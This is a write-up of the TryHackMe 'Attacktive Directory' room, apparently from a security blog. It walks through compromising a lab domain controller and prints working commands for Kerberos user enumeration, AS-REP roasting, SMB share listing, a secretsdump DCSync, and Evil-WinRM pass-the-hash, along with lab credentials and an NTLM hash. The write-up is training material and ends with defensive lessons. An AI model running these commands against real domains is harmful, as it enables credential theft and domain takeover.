ThreatHuntHQ
← cd ../writeups

TryHackMe // Write-up

Attacktive Directory.

Enumerate the Active Directory environment, identify weaknesses in Kerberos authentication and SMB configuration, obtain account credentials, retrieve domain password hashes, and access the user flags.

  • Active Directory
  • Kerberos
  • SMB
  • Pass-the-Hash

01 Overview

Platform
TryHackMe
Room
Attacktive Directory
Target IP
10.67.147.1
Attacker IP
10.67.68.175
Domain
spookysec.local
Domain Controller
AttacktiveDirectory.spookysec.local

Objective

Enumerate the Active Directory environment, identify weaknesses in Kerberos authentication and SMB configuration, obtain account credentials, retrieve domain password hashes, and access the user flags.

Tools Used

  • Nmap
  • Kerbrute
  • Impacket GetNPUsers.py
  • John the Ripper
  • smbclient
  • Impacket secretsdump.py
  • Evil-WinRM
  • Remote Desktop Protocol (RDP)

02 Initial Enumeration

I began by running an Nmap scan against the target to identify open ports, running services, and potential attack vectors.

sudo nmap -sC -sV -oN adnmap.txt 10.67.147.1

Key findings

PortServiceSignificance
53DNSDomain name resolution
80HTTP / IIS 10.0Web service
88KerberosActive Directory authentication
135MSRPCWindows RPC
139NetBIOS-SSNSMB-related enumeration
389LDAPActive Directory directory services
445SMBFile shares and domain enumeration
464Kerberos password changeKerberos password management
636LDAPSSecure LDAP
3268Global Catalog LDAPForest-wide directory queries
3389RDPRemote Windows access

The LDAP and Kerberos services indicated that the target was an Active Directory domain controller.

The scan identified the domain as spookysec.local, and the domain controller’s fully qualified domain name as AttacktiveDirectory.spookysec.local.

03 SMB Enumeration

The first enumeration question asked which utility could enumerate ports 139 and 445. The answer was enum4linux.

I used SMB enumeration to gather information about the domain and then proceeded to enumerate valid usernames through Kerberos.

04 Kerberos Username Enumeration

Kerberos was listening on TCP port 88, so I used Kerbrute to identify valid domain usernames.

./kerbrute userenum --dc 10.67.147.1 -d spookysec.local userlist.txt

The results identified several valid accounts, including:

  • administrator
  • backup
  • svc-admin
  • james
  • robin
  • darkstar
  • paradox
  • optional

The two notable accounts for the room were svc-admin and backup.

05 Kerberos AS-REP Roasting

I used Impacket’s GetNPUsers utility to check for accounts that did not require Kerberos pre-authentication.

impacket-GetNPUsers spookysec.local/ \
  -usersfile userlist.txt \
  -dc-ip 10.67.147.1 \
  -format hashcat \
  -outputfile hashes.txt

The tool returned a Kerberos AS-REP hash for svc-admin. The hash began with:

$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL

This identified the hash as Kerberos 5 AS-REP using encryption type 23 (RC4-HMAC). The relevant Hashcat mode was 18200.

I then used a password-cracking tool such as John the Ripper with the supplied wordlist to attempt to recover the account’s plaintext password.

Finding

The account’s Kerberos configuration allowed an AS-REP response to be requested without prior authentication. This exposed material that could be attacked offline.

06 SMB Share Enumeration

After obtaining credentials, I enumerated the domain controller’s SMB shares using smbclient.

smbclient -L //10.67.147.1 -U 'spookysec.local/svc-admin'

The -L option lists the remote SMB shares. The server listed six remote shares.

I located a share containing a text file named backup_credentials.txt. The file contained the following Base64-encoded string:

YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

I decoded it using:

echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d

The decoded credentials were:

backup@spookysec.local:backup2517860
Finding

Credentials for the backup account were stored in a readable SMB share using Base64 encoding. Base64 is an encoding scheme, not encryption, so the credentials could be recovered without a decryption key.

07 Active Directory Replication and Hash Extraction

The backup account had privileges that allowed Active Directory replication requests. I used Impacket’s secretsdump.py to retrieve domain credential material through the DRSUAPI method.

secretsdump.py -just-dc \
  spookysec.local/backup:'backup2517860'@10.67.147.1

The successful output included:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

The Administrator entry was:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::

The Administrator NTLM hash was 0e0363213e37b94221497260b0bcb4fc.

Important distinction
  • DCSync describes the attack technique that abuses directory replication permissions.
  • DRSUAPI was the method reported by Impacket when retrieving the domain secrets.
  • The room’s answer to the method question was DRSUAPI.
Finding

The backup account’s replication privileges allowed retrieval of sensitive domain credential material, including the Administrator NTLM hash.

08 Pass-the-Hash with Evil-WinRM

Pass-the-Hash (PtH) allows authentication using an NTLM hash instead of the corresponding plaintext password when the target authentication service supports it. Evil-WinRM uses the -H option to supply an NTLM hash.

I used:

evil-winrm -i 10.67.147.1 \
  -u Administrator \
  -H '0e0363213e37b94221497260b0bcb4fc'

After establishing a remote PowerShell session, I could inspect the Administrator desktop:

dir C:\Users\Administrator\Desktop

The flag file could then be read from the desktop.

09 User Flags

The room required flags from three user accounts:

AccountAccess method
svc-adminRDP using the recovered account password
backupRDP using the credentials recovered from the SMB file
AdministratorEvil-WinRM using Pass-the-Hash

The flags were located on each account’s desktop.

10 Attack Chain Summary

  1. Scanned the domain controller with Nmap.
  2. Identified Kerberos, LDAP, SMB, and RDP services.
  3. Enumerated valid usernames with Kerbrute.
  4. Retrieved an AS-REP hash for svc-admin.
  5. Identified and cracked the AS-REP hash.
  6. Enumerated SMB shares and located backup_credentials.txt.
  7. Decoded the Base64 string to recover the backup credentials.
  8. Used Impacket secretsdump.py with the DRSUAPI method.
  9. Retrieved the Administrator NTLM hash.
  10. Used Pass-the-Hash with Evil-WinRM to access the domain controller.
  11. Retrieved the user flags from the account desktops.

11 Lessons Learned

Kerberos configuration

Accounts without Kerberos pre-authentication can expose AS-REP material that attackers may crack offline. Accounts should require pre-authentication unless a documented exception is necessary.

SMB permissions and credential storage

Sensitive files should not be stored in broadly readable shares. Base64 does not protect passwords; secrets should be stored using appropriate access controls and secret-management mechanisms.

Active Directory replication privileges

Replication rights such as those used by DCSync should be tightly restricted and monitored. A service or backup account with excessive replication permissions can become a path to domain compromise.

Credential reuse and privilege escalation

A single exposed service-account credential can lead to additional access when combined with weak access controls. Domain administrators should enforce least privilege, monitor unusual directory replication requests, and protect privileged authentication paths.

// Conclusion

This room demonstrated how multiple weaknesses can combine into a complete Active Directory compromise. Kerberos enumeration exposed an account vulnerable to AS-REP roasting, an SMB share disclosed backup credentials, and excessive directory replication permissions enabled retrieval of domain password hashes. Pass-the-Hash then provided a way to authenticate as Administrator without recovering the plaintext password.

The exercise reinforced the importance of secure Kerberos configuration, protected credential storage, least-privilege directory permissions, and monitoring for suspicious replication activity.